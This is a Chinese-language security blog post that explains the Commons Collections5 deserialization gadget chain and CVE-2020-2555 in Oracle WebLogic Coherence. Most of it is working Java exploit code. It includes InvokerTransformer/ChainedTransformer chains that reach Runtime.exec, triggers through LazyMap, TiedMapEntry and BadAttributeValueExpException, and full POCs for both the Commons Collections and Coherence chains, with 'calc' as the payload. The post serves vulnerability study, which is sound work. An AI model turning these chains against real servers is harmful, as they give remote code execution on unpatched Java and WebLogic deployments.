前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >学习调试 JAVA 反序列化漏洞入门案例

学习调试 JAVA 反序列化漏洞入门案例

作者头像
信安之路
发布2020-04-01 15:15:34
1.1K0
发布2020-04-01 15:15:34
举报
文章被收录于专栏:信安之路信安之路

本文作者:Z1NG(信安之路核心成员)

本文以 Commons Collections5 利用链进行学习,进而分析近期公开的 CVE-2020-2555。作为学习调试 JAVA 反序列化漏洞入门的第一步吧。

漏洞最终点 InvokerTransformer 的 transform 方法

省略部分代码,大概如下

代码语言:javascript
复制
public Object transform(Object input)
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);

首先使用 getClass 的方式得到一个类对象,再根据这个类对象获取我们想要的方法,最终调用 invoke 方法来反射执行该方法。其中 this.iMethodName, this.iParamTypes, this.iArgs 这些都在构造函数之中被赋值,因此当我们实例化一个 InvokerTransformer 的对象时,这些参数皆可控。构造函数代码如下

代码语言:javascript
复制
 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

如下代码,使用 transform 方法来完成 RCE。

代码语言:javascript
复制
try {
            String className = "org.apache.commons.collections.functors.InvokerTransformer";
            //获取一个InvokerTransformer类
            Class invoketransformer = Class.forName(className);
            //获取构造函数
            Constructor constructor[] = invoketransformer.getDeclaredConstructors();
            //runtime的 exec方法
            String runmethod = "exec";
            String cmd = "calc";
            //获取runtime类
            String runtimeClassname = "java.lang.Runtime";
            Class runtimeClass = Class.forName(runtimeClassname);
            Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();
            System.out.print(runtimeConstructor);
            runtimeConstructor.setAccessible(true);
            //获取到了runtime对象
            Object runtime = runtimeConstructor.newInstance();
            //然后开始实例化InvokerTransformer 第一个参数为runtime的exec方法名,第二个参数为exec方法的参数类型,第三个参数为exec的执行参数
            Object inf = constructor[1].newInstance(runmethod,new Class[]{String.class},new Object[] {cmd});
            System.out.print(inf);
            Method itransform= inf.getClass().getDeclaredMethod("transform",Object.class);
            itransform.invoke(inf,runtime);
            //首先得获得一个runtime类,然后根据这个类拿到runtime对象,
        }catch(Exception e) {
            System.out.print(e);
        }

上述的代码流程大致如下,使用了反射的方式来引入 InvokerTransformer 类,但其实是没有必要的。而使用反射引入 Runtime 类则是有必要的。接着实例化 InvokerTransformer 和 Runtime,用通过 InvokerTransformer 的构造函数,来控制 Runtime 对象要执行的方法和所需的参数,也就是 exec 方法以及参数 calc。当 Runtime 被传入 transfrom 方法后,则会弹出计算器。

为什么 InvokerTransformer 类不需要反射引入而 Runtime 类需要?其实这个问题很简单,所有类都需要加载进程序运行的上下文环境之中才可以得到执行,由于 Runtime 类并没有在这个包里被引入,而 InvokerTransformer 借助于框架的运行机制,能够顺利的引入程序运行的上下文环境,因此不需要再以反射的方式获取。正如在分析 ThinkPHP 的反序列化利用链一样,得益于 ThinkPHP 的自动加载机制,可以自动引入未引入的类文件,这样在构造利用链时,就不用太多考虑哪些类无法使用的情况。但其他情况下也不可忽视类未进入程序上下文环境的问题。

解决引入 Runtime 类对象的问题

上文提及通 transform 来调用 Runtime 对象的 exec 方法达成 RCE。可实际上,我们目前无法向程序注入一个 Runtime 类的对象。在 ChainedTransformer 类中的 transform,提供了一个注入 Runtime 对象的机会。构造函数和 transform 方法代码如下:

代码语言:javascript
复制
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

可以控制 this.iTransformers 的值,并且每一次 transform 的返回值都会传入下一次的 transform 之中,可以构造出一种链式的调用。我需要透过 ChainedTransformer 的 transform 构造如下的一个链,才能完成 RCE

Runtime.class.getMethod("getRuntime").invoke(*null*).exec("calc");

那么 transformers[0] 的值就是要为 Runtime.class,transformers[1] 的值就是要为getMethod("getRuntime")。当通过反射执行完 getRuntime 方法时,此时会就得到一个 Runtime 类的对象。而 Runtime.class 的目的是为了加载进这个类,也就是获取 Class 对象。

获取 Class 对象

Java 反射操作的是 java.lang.Class 对象,所以我们需要先想办法获取到 Class 对象,通常我们有如下几种方式获取一个类的 Class 对象:

类名.class,如: com.anbai.sec.classloader.TestHelloWorld.class

Class.forName("com.anbai.sec.classloader.TestHelloWorld")。

classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");

根据上述,可以构造出 transform 的结构如下:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
                    // 获取Runtime类对象
                    new ConstantTransformer(Runtime.class),
                    // 获取到getRuntime方法
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    //执行getRuntime方法来获取一个Runtime类的对象
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    // 最终调用exec("calc")
                    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
            };

其中,ConstantTransformer 的构造函数和 transform 方法如下:

代码语言:javascript
复制
public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
    public Object transform(Object input) {
        return this.iConstant;   //return Runtime.class
    }

如上代码,很好的提供了引入 Runtime.class 类对象的机会。最终通过 ChainedTransformer 类执行 RCE 的代码如下:

代码语言:javascript
复制
try{
            Transformer[] transformers = new Transformer[]{
                    // 传入Runtime类
                    new ConstantTransformer(Runtime.class),
                    // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    // 调用exec("calc")
                    new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
            };
            ChainedTransformer obj = new ChainedTransformer(transformers);
            obj.transform(null);
        }catch (Exception e){
            System.out.print(e);
       }

值得一提的是,如下代码中有一个 new Class[0],如果没有传入一个这个空对象,这会报找不到 getMethod 的异常。传入这样的数据是为了满足 getMethod 的形参列表才能正确获取

代码语言:javascript
复制
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]})

回溯-引入调用链

上文已经成功的构造了,一个能够执行 RCE 操作的利用链,其中最重要的是通过链式调用引入了 Runtime 的对象。现在需要回溯,找到一个地方调用 ChainedTransformer 的 transform 方法。

方法一

在 TransformedMap 中,存在如下代码:

代码语言:javascript
复制
protected Object transformValue(Object object) {
        return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
    }

如果可以控制 this.valueTransformer 的值为 ChainedTransformer,那就 OK 了。

代码语言:javascript
复制
 public Object put(Object key, Object value) {
        key = this.transformKey(key);
        value = this.transformValue(value);
        return this.getMap().put(key, value);
    }

其中在 put 方法调用了 transformValue 方法。构造函数如下,显然可以通过实例化 TransformeMap 来控制 this.valueTransformer 的值:

代码语言:javascript
复制
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    } 

而实例化需要使用如下的静态方法:

代码语言:javascript
复制
 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

其中根据传参列表的要求,第一个参数需要是 Map,而这是一个接口需要寻找实现了这个接口的类,如 IdentityMap、hashedMap 都可以,根据上述代码,我们可以构造如下代码:

代码语言:javascript
复制
 Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new IdentityMap();
        Map  tansformedmap= TransformedMap.decorate(map,null,chainedTransformer);
        tansformedmap.put('a','a');

在调用 put 函数时,则触发了 ChainedTransformer 的 transform。不单单是 put,setValue 也会触发,此时可以是调用代理类,来执行 Map 接口的 Transformer 方法,触发序列化。

sun.reflect.annotation.AnnotationInvocationHandler 类实现了 java.lang.reflect.InvocationHandler (Java 动态代理)接口和 java.io.Serializable 接口,它还重写了 readObject 方法,在 readObject 方法中还间接的调用了 TransformedMap中MapEntry 的 setValue 方法,从而也就触发了 transform 方法,完成了整个攻击链的调用。

map.put("value", "value");

使用 TransformedMap 创建一个含有恶意调用链的 Transformer 类的 Map 对象:

Map transformedMap = TransformedMap.decorate(map, null, transformedChain);

获取 AnnotationInvocationHandler 类对象:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

获取 AnnotationInvocationHandler 类的构造方法

Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

设置构造方法的访问权限

constructor.setAccessible(true);

创建含有恶意攻击链 (transformedMap) 的 AnnotationInvocationHandler 类实例,等价于:

Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);

Object instance = constructor.newInstance(Target.class, transformedMap);

方法二
代码语言:javascript
复制
//省略
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map map = new IdentityMap();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        lazyMap.get('a');

如上所示,可以通过 lazyMap 中的 get 触发。是可以控制 this.factory 为 ChainedTransformer 对象。

代码语言:javascript
复制
public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

可以看到 TiedMapEntry 类中 getValue 调用了 get 方法,并且可以控制 map 参数。toString 调用了 getValue 方法,回溯 toString 方法。

代码语言:javascript
复制
public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }    
public Object getValue() {
        return this.map.get(this.key);
    }
    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

可以找到 BadAttributeValueExpException,可以执行任意类的 toString,其构造函数如下:

代码语言:javascript
复制
public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

当我们实例化的这个类,并且传入一个 TiedMapEntry 类的对象时,则可以触发 RCE。但在反序列化的时候,是无法控制构造函数的传参,此时我们能做的只是通过反射来构造一个 BadAttributeValueExpException 对象,并且将里面的各项属性赋予我们所需要的值。真正的触发点则是要在 readObject 的时候反序列化而触发这个链。原因在于 readObject 在序列化时被调用,而其中可以通过反射来控制 val 属性的值达到执行 TiedMapEntry 类的 toString 的目的。最终完成 RCE:

代码语言:javascript
复制
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);
        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }

于是,最终的 POC 如下:

代码语言:javascript
复制
public static void TestMap(){
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            Map map = new IdentityMap();
        Map lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry entry = new TiedMapEntry(lazyMap,1);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        try {
            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, entry);
            Test.searialize(badAttributeValueExpException);
        }catch (Exception e){
        }
    }

这就是 ysoserial 中的 CommonsCollections5。

Weblogic cve-2020-2555 反序列化

前段时间出了 Weblogic 的反序列化利用的具体详情,实质上是 Weblogic 中的 Coherence.jar 出现的问题,在学习的时候可以只引入 jar 包即可,不需要整体安装 weblogic。跟进之后发现整体利用方式和 CommonsCollections5 的利用方式比较像。具体分析如下:

在 ReflectionExtractor.class 中存在如下代码,显然以反射的方式动态执行。想要执行任意函数需要控制 method,oTarget 和 this.m_aoParam,从构造函数来看,上述参数皆可控:

代码语言:javascript
复制
public ReflectionExtractor(String sMethod, Object[] aoParam, int nTarget) {
        azzert(sMethod != null);
        this.m_sMethod = sMethod;
        this.m_aoParam = aoParam;
        this.m_nTarget = nTarget;
    }    
public E extract(T oTarget) {
        if (oTarget == null) {
            return null;
        } else {
            Class clz = oTarget.getClass();
            try {
                Method method = this.m_methodPrev;
                if (method == null || method.getDeclaringClass() != clz) {
                    this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
                }
                return method.invoke(oTarget, this.m_aoParam);

如下代码举例使用 ReflectionExtractor 进行任意代码执行。注意,此处是手动生成了一个 Runtime 对象传入,但在实际利用中,此处无法直接注入一个 Runtime 对象:

代码语言:javascript
复制
Runtime runtime = Runtime.getRuntime();
        Object[] cmd = {new String("calc"),null};
        ReflectionExtractor RelfE = new ReflectionExtractor("exec",cmd,1);
        RelfE.extract(runtime);

回顾 CC5 利用链,存在一处链式调用。在此处也存在类似的代码:

代码语言:javascript
复制
public E extract(Object oTarget) {
        ValueExtractor[] aExtractor = this.getExtractors();
        int i = 0;
        for(int c = aExtractor.length; i < c && oTarget != null; ++i) {
            oTarget = aExtractor[i].extract(oTarget);
        }
        return oTarget;
    } 

和 CC5 一样,同样以链式调用的方式返回一个 oTarget,那我们的目标就是在此处生成 Runtime.class.getMethod("Runtime").invoke(null).exec(),使用 ChainedExtractor 进行链式调用的构造,显然我们可以通过 ReflectionExtractor 数组构造出 getMethod("Runtime").invoke(null).exec() 这部分,但是还得手动注一个 Runtime.class 才可以构造完整:

代码语言:javascript
复制
ReflectionExtractor[] ref1 = {
                new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]}),
                new ReflectionExtractor("invoke",new Object[]{null,new Class[0]}),
                new ReflectionExtractor("exec",new Object[]{"calc",null})
        };
        ChainedExtractor ce = new ChainedExtractor(ref1);

根据序列化的特点,可以生产一个 ChainedExtractor 对象,且将各项属性进行设置关键点,如何在此处注入一个 Runtime.class:

ce.extract(Runtime.class);

于是回溯,LimitFilter 类中,toString 方法。会执行 ValueExtractor 的 extractor 方法,而 ValueExtractor 是个接口,上诉的 ChainedExtractor 和 ReflectionExtractor 都实现了这个接口。并且,可以控制 this.m_oAnchorTop 的值,因此我们在此可以注入一个 Runtime.class,这样就完整构造出了 Runtime.class.getMethod("Runtime").invoke(null).exec()

代码语言:javascript
复制
public String toString() {
        StringBuilder sb = new StringBuilder("LimitFilter: (");
        sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
        if (this.m_comparator instanceof ValueExtractor) {
            ValueExtractor extractor = (ValueExtractor)this.m_comparator;
            sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
        } else if (this.m_comparator != null) {
            sb.append(", comparator=").append(this.m_comparator);
        }

如下代码是使用 LimitFilter的toString 方法做到代码执行

代码语言:javascript
复制
 //省略部分构造
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        limitFilter.setComparator(ce);
        limitFilter.toString();

还记得 CC5 链里的 BadAttributeValueExpException 吗?此类重写了 readObject 方法,可以执行任意类的 toString 方法。所以,利用代码如下:

代码语言:javascript
复制
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        try {
            Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
            val.setAccessible(true);
            val.set(badAttributeValueExpException,limitFilter);
            POC.S(badAttributeValueExpException);
        }catch (Exception e){}

利用效果如图

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞最终点 InvokerTransformer 的 transform 方法
  • 解决引入 Runtime 类对象的问题
    • 获取 Class 对象
      • 方法一
        • 方法二
        • Weblogic cve-2020-2555 反序列化
        相关产品与服务
        文件存储
        文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档